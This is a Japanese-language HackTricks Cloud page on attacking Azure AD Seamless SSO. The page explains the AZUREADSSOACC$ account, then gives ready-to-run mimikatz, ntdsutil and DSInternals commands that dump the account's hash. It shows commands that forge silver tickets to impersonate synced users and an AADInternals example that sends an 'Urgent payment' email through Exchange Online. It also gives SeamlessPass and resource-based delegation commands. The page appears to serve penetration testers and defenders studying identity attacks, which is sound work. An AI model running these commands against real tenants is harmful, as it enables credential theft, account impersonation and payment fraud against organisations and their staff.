Az - Seamless SSO

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

基本情報

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) は、企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます。有効にすると、ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

基本的に、Azure AD Seamless SSOは、オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます。

これは、PHS (パスワードハッシュ同期) と PTA (パススルー認証) の両方でサポートされています。

デスクトップSSOは、Kerberosを使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADにAZUREADSSOACC$というコンピュータアカウントを作成します。AZUREADSSOACC$アカウントのパスワードは、構成中に平文でAzure ADに送信されます。

Kerberosチケットは、パスワードのNTHash (MD4)を使用して暗号化され、Azure ADは送信されたパスワードを使用してチケットを復号化します。

Azure ADは、Kerberos チケットを受け入れるエンドポイント (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加したマシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。

オンプレミス -> クラウド

ユーザーの**AZUREADSSOACC$のパスワードは決して変更されません。したがって、ドメイン管理者はこのアカウントのハッシュを危険にさらし、それを使用してシルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます。

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

ハッシュを使用して、シルバーチケットを生成できます：

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "[e-mail]" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

1. ブラウザを起動: Mozilla Firefoxを起動します。

2. ブラウザを設定:

• **about:config**に移動します。

• network.negotiate-auth.trusted-urisの設定を指定された値にします:

• https://aadg.windows.net.nsatc.net

• https://autologon.microsoftazuread-sso.com

1. ウェブアプリケーションにアクセス:

• 組織のAADドメインに統合されたウェブアプリケーションにアクセスします。一般的な例はOffice 365です。

1. 認証プロセス:

• ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。

• 続行するには、TABまたはENTERを押します。

これにより、MFAが有効な場合はバイパスされません

オプション2 dcsyncなし - SeamlessPass

この攻撃は、dcsync攻撃なしで実行することも可能で、このブログ記事で説明されています。そのためには、次のいずれかが必要です:

• 侵害されたユーザーのTGT: たとえ持っていなくても、ユーザーが侵害されていれば、KekeoやRubeusなどの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。

• ゴールデンチケット: KRBTGTキーがあれば、攻撃対象のユーザーに必要なTGTを作成できます。

• 侵害されたユーザーのNTLMハッシュまたはAESキー: SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。

• AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー: この情報と攻撃対象のユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です（前の方法で実行されたように）。

最後に、TGTを使用して、SeamlessPassツールを使用することができます:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

シームレスSSOでFirefoxを動作させるためのさらなる情報は、このブログ記事で確認できます。

クラウド専用ユーザーのためのKerberosチケットの作成

Active Directory管理者がAzure AD Connectにアクセスできる場合、クラウドユーザーのSIDを設定することができます。この方法でKerberos チケットはクラウド専用ユーザーのためにも作成できます。唯一の要件は、SIDが適切なSIDであることです。

クラウド専用管理ユーザーのSIDの変更は現在Microsoftによってブロックされています。 詳細はhttps://aadinternals.com/post/on-prem_admin/を確認してください。

オンプレミス -> クラウドへのリソースベースの制約付き委任

このアカウントが存在するコンテナまたはOU内のコンピューターアカウント（AZUREADSSOACC$）を管理できる人は、アカウントに対してリソースベースの制約付き委任を構成し、アクセスすることができます。

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

参考文献

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso

• https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/

• https://aadinternals.com/post/on-prem_admin/

• TR19: 私はあなたのクラウドにいて、皆のメールを読んでいます - Active Directoryを介してAzure ADをハッキングする

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！

• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出してください。